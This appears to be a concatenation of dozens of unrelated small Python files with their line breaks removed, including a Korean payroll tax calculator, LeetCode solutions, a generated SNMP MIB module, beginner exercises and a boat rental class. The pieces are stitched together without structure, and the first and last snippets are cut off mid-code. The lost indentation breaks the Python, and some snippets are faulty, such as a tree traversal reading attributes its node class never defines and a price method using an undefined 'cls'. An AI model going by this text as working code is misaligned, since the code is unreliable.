calc_earned_income_tax_credit(tax_assessment, salary): tax_credit = 0 if tax_assessment <=50*MANWON: tax_credit = tax_assessment*0.55 else: tax_credit = 27.5*MANWON+(tax_assessment-50*MANWON)*0.3 #간이세액표 상 근로소득공제 한도 if tax_credit > 66*MANWON: if salary <= 5500*MANWON: tax_credit = 66*MANWON elif salary <= 7000*MANWON: tax_credit = 63*MANWON elif salary > 7000*MANWON: tax_credit = 50*MANWON elif tax_credit > 63*MANWON: if salary <= 7000*MANWON: tax_credit = 63*MANWON elif salary > 7000*MANWON: tax_credit = 50*MANWON elif tax_credit > 50*MANWON: if salary > 7000*MANWON: tax_credit = 50*MANWON return tax_credit - tax_credit % 10 #결정세액 def calc_finalized_tax_amount(tax_base, tax_credit): return tax_base-tax_credit #간이세액 def calc_ease_tax_amount(finalized_tax_amount): temp_amount = finalized_tax_amount/12 return temp_amount - temp_amount % 10 #건강보험 def calc_health_insurance(monthly_salary): health_insurance = monthly_salary * 0.0646 return health_insurance - health_insurance % 10 #장기요양보험료 def calc_long_term_insurance(health_insurance): long_term_insurance = health_insurance * 0.0851 return long_term_insurance - long_term_insurance % 10 #고용보험 def calc_employment_insurance(monthly_salary): employment_insurance = monthly_salary * 0.0065 return employment_insurance - employment_insurance % 10
class Settings(): def __init__(self): self.screen_width = 1024 # screen Width self.screen_height = 512 # screen height self.bg_color = (255, 255, 255) # overall background color self.init_speed = 30 # speed factor of dino self.dhmax = 23 self.alt_freq = 3
# Maths # Given a string S that only contains "I" (increase) or "D" (decrease), let N = S.length. # # Return any permutation A of [0, 1, ..., N] such that for all i = 0, ..., N-1: # # If S[i] == "I", then A[i] < A[i+1] # If S[i] == "D", then A[i] > A[i+1] # # # Example 1: # # Input: "IDID" # Output: [0,4,1,3,2] # Example 2: # # Input: "III" # Output: [0,1,2,3] # Example 3: # # Input: "DDI" # Output: [3,2,0,1] # # # Note: # # 1 <= S.length <= 10000 # S only contains characters "I" or "D". class Solution: def diStringMatch(self, S): """ :type S: str :rtype: List[int] """ low, high = 0, len(S) output = [] for x in S: if x == "I": output.append(low) low += 1 else: output.append(high) high -= 1 return output + [low]
#Felipe Lima #Linguagem: Python #Exercício 13 do site: https://wiki.python.org.br/EstruturaSequencial #Entra com a altura altura = float(input("Qual sua altura? ")) #Realiza os cálculos pesoIdealHomem = (72.7*altura)-58 pesoIdealMulher = (62.1*altura)-44.7 #Imprime o resultado print("Seu peso ideal caso você seja homem é {:.2f} e se for mulher {:.2f}". format(pesoIdealHomem,pesoIdealMulher))
# Interface for a "set" of cases class CaseSet: def __init__(self, time): self.time = time def __len__(self): raise NotImplementedError() def iterator(self): raise NotImplementedError() def get_time(self): return self.time def set_time(self, time): self.time = time
def array_count9(nums): count = 0 # Standard loop to look at each value for num in nums: if num == 9: count = count + 1 return count
# # @lc app=leetcode id=747 lang=python3 # # [747] Largest Number At Least Twice of Others # # https://leetcode.com/problems/largest-number-at-least-twice-of-others/description/ # # algorithms # Easy (40.25%) # Total Accepted: 47.6K # Total Submissions: 118K # Testcase Example: '[0,0,0,1]' # # In a given integer array nums, there is always exactly one largest element. # # Find whether the largest element in the array is at least twice as much as # every other number in the array. # # If it is, return the index of the largest element, otherwise return -1. # # Example 1: # # # Input: nums = [3, 6, 1, 0] # Output: 1 # Explanation: 6 is the largest integer, and for every other number in the # array x, # 6 is more than twice as big as x. The index of value 6 is 1, so we return # 1. # # # # # Example 2: # # # Input: nums = [1, 2, 3, 4] # Output: -1 # Explanation: 4 isn't at least as big as twice the value of 3, so we return # -1. # # # # # Note: # # # nums will have a length in the range [1, 50]. # Every nums[i] will be an integer in the range [0, 99]. # # # # # class Solution: def dominantIndex(self, nums: List[int]) -> int: indexmax1 = 0 max1 = 0 indexmax = 0 max = 0 for i in range(len(nums)): if nums[i] > max: max1 = max indexmax1 = indexmax max = nums[i] indexmax = i elif nums[i] > max1: max1 = nums[i] indexmax1 = i return indexmax if max >= 2*max1 else -1
# -*- coding: utf-8 -*- # A primeira linha informa ao interpretador Python que é utilizado a codifição UTF-8 # Dessa forma é possível utilizar caracteres especiais em comentários e no PRINT print("Codificação UTF-8: ç ã é í")
# Speed of light in m/s speed_light = 299792458 # J s Planck_constant = 6.626e-34 # m Wavelenght of band V wavelenght_visual = 550e-9 # flux density (Jy) in V for a 0 mag star Fv = 3640.0 # photons s-1 m-2 in Jy Jy = 1.51e7 #1 rad = 57.3 grad RAD = 57.29578 # 1 AU ib cn AU = 149.59787e11 # Radius in cm R_Earth = 6378.e5 R_MOON = 1737.4e5 atmosphere = 100.e5 # Julian day corresponding to the beginning of 2018 JD_2018 = 2458119.5 # km in cm KM = 1.e5 # m2 in cm2 M2 = 1.e4 # Gravitational constant in N (m/kg)2 G = 6.67384e-11 # Gravitational parameter (mu = G *M) for Earth in m^3/s^2 mu_Earth = 3.986e14 # Timestamp for the initial time in the simulation # timestamp 2018-01-01 00:00 (GMT as used in STK) (valid for Python/Unix) # timestamp_2018_01_01 = 1514764800 timestamp_2018_01_01 = 1514764800 sideral_day = 23.9344696 #[h] version = '0.8'
factors = [1, 2, 4] pads = [32, 64, 128, 256, 512] gen_scope = "gen" dis_scope = "dis" outputs_prefix = "output_" lr_key = "lr" hr_key = "hr" lr_input_name = "lr_input" hr_input_name = "hr_input" pretrain_key = "pretrain" train_key = "train" epoch_key = "per_epoch"
""" Given an integer array nums sorted in non-decreasing order, return an array of the squares of each number sorted in non-decreasing order. Example 1: Input: nums = [-4,-1,0,3,10] Output: [0,1,9,16,100] Explanation: After squaring, the array becomes [16,1,0,9,100]. After sorting, it becomes [0,1,9,16,100]. Example 2: Input: nums = [-7,-3,2,3,11] Output: [4,9,9,49,121] """ # TC and Space (O(N)) # Since the array A is sorted, loosely speaking it has some negative elements with squares in decreasing order, # then some non-negative elements with squares in increasing order. # For example, with [-3, -2, -1, 4, 5, 6], we have the negative part [-3, -2, -1] with squares [9, 4, 1], and the positive part [4, 5, 6] with squares [16, 25, 36]. # Our strategy is to iterate over the negative part in reverse, and the positive part in the forward direction. # We can use two pointers to read the positive and negative parts of the array - one pointer j in the positive direction, and another i in the negative direction. # Now that we are reading two increasing arrays (the squares of the elements), we can merge these arrays together using a two-pointer technique. class Solution(object): def sortedSquares(self, nums): # We first declare a list of length, len(A) then add the larger square from the back of the list, denoted by the index r - l res = [0] * len(nums) start, end = 0, len(nums) - 1 while start <= end: left, right = abs(nums[start]), abs(nums[end]) if left > right: res[end - start] = left * left start += 1 else: res[end - start] = right * right end -= 1 return res
# generic warnings UNEXPECTED_FIELDS = 'A GTFS fares-v2 file has column name(s) not defined in the specification.' UNUSED_AREA_IDS = 'Areas defined in areas.txt are unused in other fares files.' UNUSED_NETWORK_IDS = 'Networks defined in routes.txt are unused in other fares files.' UNUSED_TIMEFRAME_IDS = 'Timeframes defined in timeframes.txt are unused in other fares files.' # areas.txt NO_AREAS = 'No areas.txt was found, will assume no areas exist.' # routes.txt NO_ROUTES = 'No routes.txt was found, will assume no networks exist.' # stops.txt NO_STOPS = 'No stops.txt was found, will assume stops.txt does not reference any areas.' UNUSED_AREAS_IN_STOPS = 'Areas defined in areas.txt are unused in stops.txt or stop_times.txt.' # calendar.txt, calendar_dates.txt NO_SERVICE_IDS = 'Neither calendar.txt or calendar_dates.txt was found, will assume no service_ids for fares data.' # timeframes.txt NO_TIMEFRAMES = 'No timeframes.txt was found, will assume no timeframes exist.' # rider_categories.txt MAX_AGE_LESS_THAN_MIN_AGE = 'An entry in rider_categories.txt has max_age less than or equal to min_age.' NO_RIDER_CATEGORIES = 'No rider_categories.txt was found, will assume no rider_categories exist.' VERY_LARGE_MAX_AGE = 'An entry in rider_categories.txt has a very large max_age.' VERY_LARGE_MIN_AGE = 'An entry in rider_categories.txt has a very large min_age.' # fare_containers.txt NO_FARE_CONTAINERS = 'No fare_containers.txt was found, will assume no fare_containers exist.' # fare_products.txt NO_FARE_PRODUCTS = 'No fare_products.txt was found, will assume no fare_products exist.' OFFSET_AMOUNT_WITHOUT_OFFSET_UNIT = 'An offset_amount in fare_products.txt is defined without an offset_unit, so duration_unit will be used.' # fare_leg_rules.txt NO_FARE_LEG_RULES = 'No fare_leg_rules.txt was found, will assume no fare_leg_rules exist.' # fare_transfer_rules.txt NO_FARE_TRANSFER_RULES = 'No fare_transfer_rules.txt was found, will assume no fare_transfer_rules exist.' UNUSED_LEG_GROUPS = 'Leg groups defined in fare_leg_rules.txt are unused in fare_transfer_rules.txt.'
def test_contacts_on_home_page(app): contact_from_home_page = app.contact.get_contacts_list()[1] contact_from_edit_page = app.contact.get_info_from_edit_page(1) assert contact_from_edit_page.email_1 == contact_from_home_page.email_1 assert contact_from_edit_page.email_2 == contact_from_home_page.email_2 assert contact_from_edit_page.email_3 == contact_from_home_page.email_3 def test_phones_on_home_page(app): phones_from_home_page = app.contact.get_contacts_list()[1] phones_from_edit_page = app.contact.get_info_from_edit_page(1) assert phones_from_edit_page.work_phone == phones_from_home_page.work_phone assert phones_from_edit_page.home_phone == phones_from_home_page.home_phone assert phones_from_edit_page.mobile_phone == phones_from_home_page.mobile_phone
# # PySNMP MIB module OPTIX-SONET-EQPTMGT-MIB-V2 (http://snmplabs.com/pysmi) # ASN.1 source file:///Users/davwang4/Dev/mibs.snmplabs.com/asn1/OPTIX-SONET-EQPTMGT-MIB-V2 # Produced by pysmi-0.3.4 at Mon Apr 29 20:26:05 2019 # On host DAVWANG4-M-1475 platform Darwin version 18.5.0 by user davwang4 # Using Python version 3.7.3 (default, Mar 27 2019, 09:23:15) # OctetString, Integer, ObjectIdentifier = mibBuilder.importSymbols("ASN1", "OctetString", "Integer", "ObjectIdentifier") NamedValues, = mibBuilder.importSymbols("ASN1-ENUMERATION", "NamedValues") ConstraintsIntersection, ValueSizeConstraint, SingleValueConstraint, ValueRangeConstraint, ConstraintsUnion = mibBuilder.importSymbols("ASN1-REFINEMENT", "ConstraintsIntersection", "ValueSizeConstraint", "SingleValueConstraint", "ValueRangeConstraint", "ConstraintsUnion") optixProvisionSonet, = mibBuilder.importSymbols("OPTIX-OID-MIB", "optixProvisionSonet") NotificationGroup, ObjectGroup, ModuleCompliance = mibBuilder.importSymbols("SNMPv2-CONF", "NotificationGroup", "ObjectGroup", "ModuleCompliance") Integer32, Unsigned32, NotificationType, ModuleIdentity, Bits, Counter32, IpAddress, Counter64, ObjectIdentity, Gauge32, iso, MibScalar, MibTable, MibTableRow, MibTableColumn, TimeTicks, MibIdentifier = mibBuilder.importSymbols("SNMPv2-SMI", "Integer32", "Unsigned32", "NotificationType", "ModuleIdentity", "Bits", "Counter32", "IpAddress", "Counter64", "ObjectIdentity", "Gauge32", "iso", "MibScalar", "MibTable", "MibTableRow", "MibTableColumn", "TimeTicks", "MibIdentifier") TextualConvention, DisplayString = mibBuilder.importSymbols("SNMPv2-TC", "TextualConvention", "DisplayString") optixsonetEqptMgt = ModuleIdentity((1, 3, 6, 1, 4, 1, 2011, 2, 25, 4, 20, 3)) if mibBuilder.loadTexts: optixsonetEqptMgt.setLastUpdated('200605232006Z') if mibBuilder.loadTexts: optixsonetEqptMgt.setOrganization('Your organization') class IntfType(TextualConvention, Integer32): status = 'current' subtypeSpec = Integer32.subtypeSpec + ConstraintsUnion(SingleValueConstraint(1, 10, 12, 13, 17, 65, 100, 254)) namedValues = NamedValues(("ds1-asyn-vt1", 1), ("ds3-asyn-sts1", 10), ("ec", 12), ("ds3-tmux-ds1", 13), ("ds3-srv-ds1", 17), ("uas", 65), ("mix", 100), ("invalid", 254)) optixsonetCardInfoTable = MibTable((1, 3, 6, 1, 4, 1, 2011, 2, 25, 4, 20, 3, 1), ) if mibBuilder.loadTexts: optixsonetCardInfoTable.setStatus('current') optixsonetCardInfoEntry = MibTableRow((1, 3, 6, 1, 4, 1, 2011, 2, 25, 4, 20, 3, 1, 1), ).setIndexNames((0, "OPTIX-SONET-EQPTMGT-MIB-V2", "cardIndexSlotId"), (0, "OPTIX-SONET-EQPTMGT-MIB-V2", "cardIndexSfpId")) if mibBuilder.loadTexts: optixsonetCardInfoEntry.setStatus('current') cardIndexSlotId = MibTableColumn((1, 3, 6, 1, 4, 1, 2011, 2, 25, 4, 20, 3, 1, 1, 1), Gauge32()).setMaxAccess("readonly") if mibBuilder.loadTexts: cardIndexSlotId.setStatus('current') cardIndexSfpId = MibTableColumn((1, 3, 6, 1, 4, 1, 2011, 2, 25, 4, 20, 3, 1, 1, 2), Gauge32()).setMaxAccess("readonly") if mibBuilder.loadTexts: cardIndexSfpId.setStatus('current') cardProvisionType = MibTableColumn((1, 3, 6, 1, 4, 1, 2011, 2, 25, 4, 20, 3, 1, 1, 3), OctetString().subtype(subtypeSpec=ValueSizeConstraint(0, 16))).setMaxAccess("readonly") if mibBuilder.loadTexts: cardProvisionType.setStatus('current') cardPhysicalType = MibTableColumn((1, 3, 6, 1, 4, 1, 2011, 2, 25, 4, 20, 3, 1, 1, 4), OctetString().subtype(subtypeSpec=ValueSizeConstraint(0, 64))).setMaxAccess("readonly") if mibBuilder.loadTexts: cardPhysicalType.setStatus('current') cardInterfaceType = MibTableColumn((1, 3, 6, 1, 4, 1, 2011, 2, 25, 4, 20, 3, 1, 1, 5), IntfType()).setMaxAccess("readonly") if mibBuilder.loadTexts: cardInterfaceType.setStatus('current') cardBandwidth = MibTableColumn((1, 3, 6, 1, 4, 1, 2011, 2, 25, 4, 20, 3, 1, 1, 6), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: cardBandwidth.setStatus('current') cardSerialNum = MibTableColumn((1, 3, 6, 1, 4, 1, 2011, 2, 25, 4, 20, 3, 1, 1, 7), OctetString().subtype(subtypeSpec=ValueSizeConstraint(0, 32))).setMaxAccess("readonly") if mibBuilder.loadTexts: cardSerialNum.setStatus('current') cardCLEICode = MibTableColumn((1, 3, 6, 1, 4, 1, 2011, 2, 25, 4, 20, 3, 1, 1, 8), OctetString().subtype(subtypeSpec=ValueSizeConstraint(0, 16))).setMaxAccess("readonly") if mibBuilder.loadTexts: cardCLEICode.setStatus('current') cardPartNum = MibTableColumn((1, 3, 6, 1, 4, 1, 2011, 2, 25, 4, 20, 3, 1, 1, 9), OctetString().subtype(subtypeSpec=ValueSizeConstraint(0, 20))).setMaxAccess("readonly") if mibBuilder.loadTexts: cardPartNum.setStatus('current') cardDOM = MibTableColumn((1, 3, 6, 1, 4, 1, 2011, 2, 25, 4, 20, 3, 1, 1, 10), OctetString().subtype(subtypeSpec=ValueSizeConstraint(0, 16))).setMaxAccess("readonly") if mibBuilder.loadTexts: cardDOM.setStatus('current') cardPCBVersion = MibTableColumn((1, 3, 6, 1, 4, 1, 2011, 2, 25, 4, 20, 3, 1, 1, 11), OctetString().subtype(subtypeSpec=ValueSizeConstraint(0, 16))).setMaxAccess("readonly") if mibBuilder.loadTexts: cardPCBVersion.setStatus('current') cardSWVersion = MibTableColumn((1, 3, 6, 1, 4, 1, 2011, 2, 25, 4, 20, 3, 1, 1, 12), OctetString().subtype(subtypeSpec=ValueSizeConstraint(0, 64))).setMaxAccess("readonly") if mibBuilder.loadTexts: cardSWVersion.setStatus('current') cardFPGAVersion = MibTableColumn((1, 3, 6, 1, 4, 1, 2011, 2, 25, 4, 20, 3, 1, 1, 13), OctetString().subtype(subtypeSpec=ValueSizeConstraint(0, 32))).setMaxAccess("readonly") if mibBuilder.loadTexts: cardFPGAVersion.setStatus('current') cardEPLDVersion = MibTableColumn((1, 3, 6, 1, 4, 1, 2011, 2, 25, 4, 20, 3, 1, 1, 14), OctetString().subtype(subtypeSpec=ValueSizeConstraint(0, 8))).setMaxAccess("readonly") if mibBuilder.loadTexts: cardEPLDVersion.setStatus('current') cardBIOSVersion = MibTableColumn((1, 3, 6, 1, 4, 1, 2011, 2, 25, 4, 20, 3, 1, 1, 15), OctetString().subtype(subtypeSpec=ValueSizeConstraint(0, 64))).setMaxAccess("readonly") if mibBuilder.loadTexts: cardBIOSVersion.setStatus('current') cardMAC = MibTableColumn((1, 3, 6, 1, 4, 1, 2011, 2, 25, 4, 20, 3, 1, 1, 16), OctetString().subtype(subtypeSpec=ValueSizeConstraint(0, 32))).setMaxAccess("readonly") if mibBuilder.loadTexts: cardMAC.setStatus('current') cardPSTState = MibTableColumn((1, 3, 6, 1, 4, 1, 2011, 2, 25, 4, 20, 3, 1, 1, 17), OctetString().subtype(subtypeSpec=ValueSizeConstraint(0, 16))).setMaxAccess("readonly") if mibBuilder.loadTexts: cardPSTState.setStatus('current') cardSSTState = MibTableColumn((1, 3, 6, 1, 4, 1, 2011, 2, 25, 4, 20, 3, 1, 1, 18), OctetString().subtype(subtypeSpec=ValueSizeConstraint(0, 32))).setMaxAccess("readonly") if mibBuilder.loadTexts: cardSSTState.setStatus('current') cardTPSPriority = MibTableColumn((1, 3, 6, 1, 4, 1, 2011, 2, 25, 4, 20, 3, 1, 1, 19), Gauge32()).setMaxAccess("readonly") if mibBuilder.loadTexts: cardTPSPriority.setStatus('current') cardSwitchState = MibTableColumn((1, 3, 6, 1, 4, 1, 2011, 2, 25, 4, 20, 3, 1, 1, 20), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4, 5, 6, 254, 255))).clone(namedValues=NamedValues(("stateDNR", 1), ("stateWTR", 2), ("stateMAN", 3), ("stateAUTOSW", 4), ("stateFRCD", 5), ("stateLOCK", 6), ("stateINVALID", 254), ("stateIDLE", 255)))).setMaxAccess("readonly") if mibBuilder.loadTexts: cardSwitchState.setStatus('current') cardDescription = MibTableColumn((1, 3, 6, 1, 4, 1, 2011, 2, 25, 4, 20, 3, 1, 1, 21), OctetString().subtype(subtypeSpec=ValueSizeConstraint(0, 64))).setMaxAccess("readonly") if mibBuilder.loadTexts: cardDescription.setStatus('current') optixsonetEqptMgtConformance = MibIdentifier((1, 3, 6, 1, 4, 1, 2011, 2, 25, 4, 20, 3, 2)) optixsonetEqptMgtGroups = MibIdentifier((1, 3, 6, 1, 4, 1, 2011, 2, 25, 4, 20, 3, 2, 1)) currentObjectGroup = ObjectGroup((1, 3, 6, 1, 4, 1, 2011, 2, 25, 4, 20, 3, 2, 1, 1)).setObjects(("OPTIX-SONET-EQPTMGT-MIB-V2", "cardIndexSlotId"), ("OPTIX-SONET-EQPTMGT-MIB-V2", "cardIndexSfpId"), ("OPTIX-SONET-EQPTMGT-MIB-V2", "cardProvisionType"), ("OPTIX-SONET-EQPTMGT-MIB-V2", "cardPhysicalType"), ("OPTIX-SONET-EQPTMGT-MIB-V2", "cardInterfaceType"), ("OPTIX-SONET-EQPTMGT-MIB-V2", "cardBandwidth"), ("OPTIX-SONET-EQPTMGT-MIB-V2", "cardSerialNum"), ("OPTIX-SONET-EQPTMGT-MIB-V2", "cardCLEICode"), ("OPTIX-SONET-EQPTMGT-MIB-V2", "cardPartNum"), ("OPTIX-SONET-EQPTMGT-MIB-V2", "cardDOM"), ("OPTIX-SONET-EQPTMGT-MIB-V2", "cardPCBVersion"), ("OPTIX-SONET-EQPTMGT-MIB-V2", "cardSWVersion"), ("OPTIX-SONET-EQPTMGT-MIB-V2", "cardFPGAVersion"), ("OPTIX-SONET-EQPTMGT-MIB-V2", "cardEPLDVersion"), ("OPTIX-SONET-EQPTMGT-MIB-V2", "cardBIOSVersion"), ("OPTIX-SONET-EQPTMGT-MIB-V2", "cardMAC"), ("OPTIX-SONET-EQPTMGT-MIB-V2", "cardPSTState"), ("OPTIX-SONET-EQPTMGT-MIB-V2", "cardSSTState"), ("OPTIX-SONET-EQPTMGT-MIB-V2", "cardTPSPriority"), ("OPTIX-SONET-EQPTMGT-MIB-V2", "cardSwitchState"), ("OPTIX-SONET-EQPTMGT-MIB-V2", "cardDescription")) if getattr(mibBuilder, 'version', (0, 0, 0)) > (4, 4, 0): currentObjectGroup = currentObjectGroup.setStatus('current') optixsonetEqptMgtCompliances = MibIdentifier((1, 3, 6, 1, 4, 1, 2011, 2, 25, 4, 20, 3, 2, 2)) basicCompliance = ModuleCompliance((1, 3, 6, 1, 4, 1, 2011, 2, 25, 4, 20, 3, 2, 2, 1)).setObjects(("OPTIX-SONET-EQPTMGT-MIB-V2", "currentObjectGroup")) if getattr(mibBuilder, 'version', (0, 0, 0)) > (4, 4, 0): basicCompliance = basicCompliance.setStatus('current') mibBuilder.exportSymbols("OPTIX-SONET-EQPTMGT-MIB-V2", cardTPSPriority=cardTPSPriority, cardIndexSlotId=cardIndexSlotId, cardDOM=cardDOM, cardEPLDVersion=cardEPLDVersion, cardSerialNum=cardSerialNum, cardInterfaceType=cardInterfaceType, cardDescription=cardDescription, optixsonetEqptMgtGroups=optixsonetEqptMgtGroups, cardSSTState=cardSSTState, basicCompliance=basicCompliance, optixsonetCardInfoTable=optixsonetCardInfoTable, cardBandwidth=cardBandwidth, cardSWVersion=cardSWVersion, cardMAC=cardMAC, cardPSTState=cardPSTState, PYSNMP_MODULE_ID=optixsonetEqptMgt, cardPhysicalType=cardPhysicalType, optixsonetEqptMgt=optixsonetEqptMgt, cardPartNum=cardPartNum, cardBIOSVersion=cardBIOSVersion, cardFPGAVersion=cardFPGAVersion, cardPCBVersion=cardPCBVersion, currentObjectGroup=currentObjectGroup, cardSwitchState=cardSwitchState, optixsonetCardInfoEntry=optixsonetCardInfoEntry, cardCLEICode=cardCLEICode, cardProvisionType=cardProvisionType, optixsonetEqptMgtConformance=optixsonetEqptMgtConformance, cardIndexSfpId=cardIndexSfpId, IntfType=IntfType, optixsonetEqptMgtCompliances=optixsonetEqptMgtCompliances)
#!/usr/bin/env python3 CAVE_DEPTH = 6969 TARGET_LOC = (9, 796) GEO_INDEX_CACHE = { (0, 0): 0, TARGET_LOC: 0 } def get_geo_index(x, y): key = (x, y) if key not in GEO_INDEX_CACHE: if y == 0: GEO_INDEX_CACHE[key] = x * 16807 elif x == 0: GEO_INDEX_CACHE[key] = y * 48271 else: GEO_INDEX_CACHE[key] = get_erosion_level(x, y - 1) * get_erosion_level(x - 1, y) return GEO_INDEX_CACHE[key] def get_erosion_level(x, y): return (get_geo_index(x, y) + CAVE_DEPTH) % 20183 total_danger = 0 for x in range(TARGET_LOC[0]+1): for y in range(TARGET_LOC[1] + 1): total_danger += get_erosion_level(x, y) % 3 print("Part 1:", total_danger)
"""Globally register callables and call via matching keywords. Example: >>> # register print function for keyword my_value >>> set_recorder(my_value=print) >>> record(my_value="Hello World.") Hello World. """ _recorders = {} def set_recorder(**kwargs): """Globally register a callable to which record calls are delegated. :param [keyword] callable: Callable to be registered with its keyword as identifier. """ global _recorders for name, recorder in kwargs.items(): _recorders[name] = recorder def record(**kwargs): """Pass value to previously registered callable. :param [keyword] value: This value is passed as the argument to the callable registered with keyword as identifier. """ global _recorders for key, value in kwargs.items(): if key in _recorders.keys(): _recorders[key](value)
def is_string(thing): try: return isinstance(thing, basestring) except NameError: return isinstance(thing, str)
def authenticated_method(func): def _decorated(self, *args, **kwargs): if not self.api_key: raise ValueError("you need to set your API KEY for this method.") response = func(self, *args, **kwargs) if response.status_code == 401: raise ValueError("invalid private/public key for API.") return response.json() return _decorated
class Frac: def __init__(self, idx: int, idy: int, x: int, y: int) -> None: self.idx = idx self.idy = idy self.x = x self.y = y def __lt__(self, other: "Frac") -> bool: return self.x * other.y < self.y * other.x class Solution: def kthSmallestPrimeFraction(self, arr: List[int], k: int) -> List[int]: n = len(arr) q = [Frac(0, i, arr[0], arr[i]) for i in range(1, n)] heapq.heapify(q) for _ in range(k - 1): frac = heapq.heappop(q) i, j = frac.idx, frac.idy if i + 1 < j: heapq.heappush(q, Frac(i + 1, j, arr[i + 1], arr[j])) return [q[0].x, q[0].y]
while True: try: num=int(input("Input your number: ")) print("Your number is {}".format(num)) break except: print("Please insert number!")
class XnorController: pass
class MovingAverage: """ [1,10,3,5] size = 3 n = 4 [0,1,11,14,19] """ def __init__(self, size: int): self.size = size self.prefixes = [0] def next(self, val: int) -> float: n = len(self.prefixes) self.prefixes.append(val) self.prefixes[-1] += self.prefixes[-2] if n <= self.size: return self.prefixes[-1] / n return (self.prefixes[-1] - self.prefixes[n-self.size]) / self.size # Your MovingAverage object will be instantiated and called as such: # obj = MovingAverage(size) # param_1 = obj.next(val)
birth_year = 1999 if birth_year < 2000: print("line 1") print("line 2") print("line 3") else: print("line 4") print("line 5") print("line 6") if birth_year < 2000: print("line 1") print("line 2") print("line 3") else: print("line 4") print("line 5") print("line 6")
# 1일차 - 이진수2 test_cases = int(input()) # 10진수 -> 2진수 def dec_to_bin(decimal): binary = '' while decimal != 0: decimal *= 2 if decimal >= 1: decimal -= 1 binary += '1' else: binary += '0' if len(binary) >= 13: binary = 'overflow' break return binary for t in range(1, test_cases + 1): N = float(input()) result = dec_to_bin(N) print('#{} {}'.format(t, result))
class TreeNode: def __init__(self, x): self.val = x self.next = None class Solution: def inorderTraversal(self, root: TreeNode) -> list: if root == None: return [] stack = [] visited = set() trav = [] stack.append(root) while len(stack) > 0: if stack[-1].left and stack[-1].left not in visited: # check the left child stack.append(stack[-1].left) else: # no left child or left child has been visited popped = stack.pop() trav.append(popped.val) visited.add(popped) # if has right child, visit it if popped.right: stack.append(popped.right) return trav
# Time: O(n + k) # Space: O(k) # 28 # Implement strStr(). # # Returns a pointer to the first occurrence of needle in haystack, # or null if needle is not part of haystack. # # Wiki of KMP algorithm: # http://en.wikipedia.org/wiki/Knuth-Morris-Pratt_algorithm class Solution(object): def strStr(self, haystack, needle): """ :type haystack: str :type needle: str :rtype: int """ if not needle: return 0 return self.KMP(haystack, needle) # https://www.geeksforgeeks.org/kmp-algorithm-for-pattern-searching/ # whenever we detect a mismatch (after some matches), we know some chars match for sure and skip compare them. # the above prefix array store number of chars. Code below stores index of prefix. def KMP(self, text, pattern): prefix = self.preKmp(pattern) j = -1 for i in range(len(text)): while j > -1 and text[i] != pattern[j + 1]: # mismatch, back to use prefix which guaranteed skipable j = prefix[j] if text[i] == pattern[j + 1]: j += 1 if j == len(pattern) - 1: return i - j return -1 def preKmp(self, s): prefix = [-1] * len(s) # prefix[i] = j means pattern[:j+1] prefix is also suffix of pattern[:i+1] j = -1 for i in range(1, len(s)): while j > -1 and s[i] != s[j + 1]: # cannot extend j = prefix[j] if s[i] == s[j + 1]: # extend number of chars which are both prefix and suffix j += 1 prefix[i] = j return prefix # Time: O(n * k) # Space: O(k) class Solution2(object): def strStr(self, haystack, needle): """ :type haystack: str :type needle: str :rtype: int """ for i in range(len(haystack) - len(needle) + 1): if haystack[i : i + len(needle)] == needle: return i return -1 if __name__ == "__main__": # debug KMP algorithm print(Solution().strStr("abababcdab", "abcd")) # prefix [-1,-1,-1,-1] print(Solution().strStr("AAAAABAAABA", "AAAA")) # prefix [-1,0,1,2] print(Solution().strStr("abababcdab", "ababab")) # prefix [-1,-1,0,1,2,3] print(Solution().strStr("abababcdab", "abab")) # prefix [-1,-1,0,1] print(Solution().strStr("abababcdab", "abcdabc")) # prefix [-1,-1,-1,-1,0,1,2] print(Solution().strStr("a", "")) print(Solution().strStr("abababcdab", "abcacba")) # prefix [-1,-1,-1,0,-1,-1,0] print(Solution().strStr("abababcdab", "abcaac")) # prefix [-1,-1,-1,0,0,-1] print(Solution().strStr("abababcdab", "abbcc")) # prefix [-1,-1,-1,-1,-1] print(Solution().strStr("abababcdab", "ababcdx")) # prefix [-1,-1,0,1,-1,-1,-1]
for i in range(0,3): f = open("dato.txt") f.seek(17+(i*77),0) x1= int(f.read(2)) f.seek(20+(i*77),0) y1= int(f.read(2)) f.seek(35+(i*77),0) a= int(f.read(2)) f.seek(38+(i*77),0) b= int(f.read(2)) f.seek(60+(i*77),0) x2= int(f.read(2)) f.seek(63+(i*77),0) y2= int(f.read(2)) f.seek(73+(i*77),0) r= int(f.read(2)) print (x1,y1,a,b,x2,y2,r ," ") f.close() y=(y1+((b/a)*(x2-x1))) #ecuacion es de la recta d=(r*(1+y)) print ("ecuacion", y) f = open("dato.txt","a") f.write("En la opcion "+str(i)+" ecuacuion que falta "+"\n") f.close()
a=int(input('Enter number of terms ')) f=1 s=0 for i in range(1,a+1): f=f*i s+=f print('Sum of series =',s)
# You need Elemental codex 1+ to cast "Haste" hero.cast("haste", hero) hero.moveXY(14, 30) hero.moveXY(20, 30) hero.moveXY(28, 15) hero.moveXY(69, 15) hero.moveXY(72, 58)
""" Given a binary string (ASCII encoded), write a function that returns the equivalent decoded text. Every eight bits in the binary string represents one character on the ASCII table. Examples: csBinaryToASCII("011011000110000101101101011000100110010001100001") -> "lambda" 01101100 -> 108 -> "l" 01100001 -> 97 -> "a" 01101101 -> 109 -> "m" 01100010 -> 98 -> "b" 01100100 -> 100 -> "d" 01100001 -> 97 -> "a" csBinaryToASCII("") -> "" Notes: The input string will always be a valid binary string. Characters can be in the range from "00000000" to "11111111" (inclusive). In the case of an empty input string, your function should return an empty string. """ def csBinaryToASCII(binary): return "".join([chr(int(binary[i:i+8], 2)) for i in range(0, len(binary), 8)])
""" Rental ====== """ class Rental: """ Representa el alquier de un barco de un cliente. :param client: El cliente, arrendatario del alquiler. :param boat: El barco del client para el que se realiza el alquiler. :param start_date: Fecha de inicio del alquiler. :param end_date: Fecha de fin del alquiler. :param position: Posición del amarre. :type client: Client :type boat: Boat :type start_date: datetime :type end_date: datetime :type position: string """ daily_rental_price = 50 def __init__(self, client, boat, start_date, end_date, position): """Inicializa un objeto de la clase Rental.""" self.client = client self.start_date = start_date self.end_date = end_date self.boat = boat self.position = position self.__price = self.calculate_price() @property def price(self): """Devuelve el precio del amarre.""" return self.__price def calculate_price(self): """ Calcula el precio del amarre en función de de las fechas y el precio diario. :return: El precio del alquiler en función de las fechas :rtype: float """ return (self.end_date - self.start_date).days * cls.daily_price * self.boat.length @classmethod def change_daily_rental_price(cls, new_price): """ 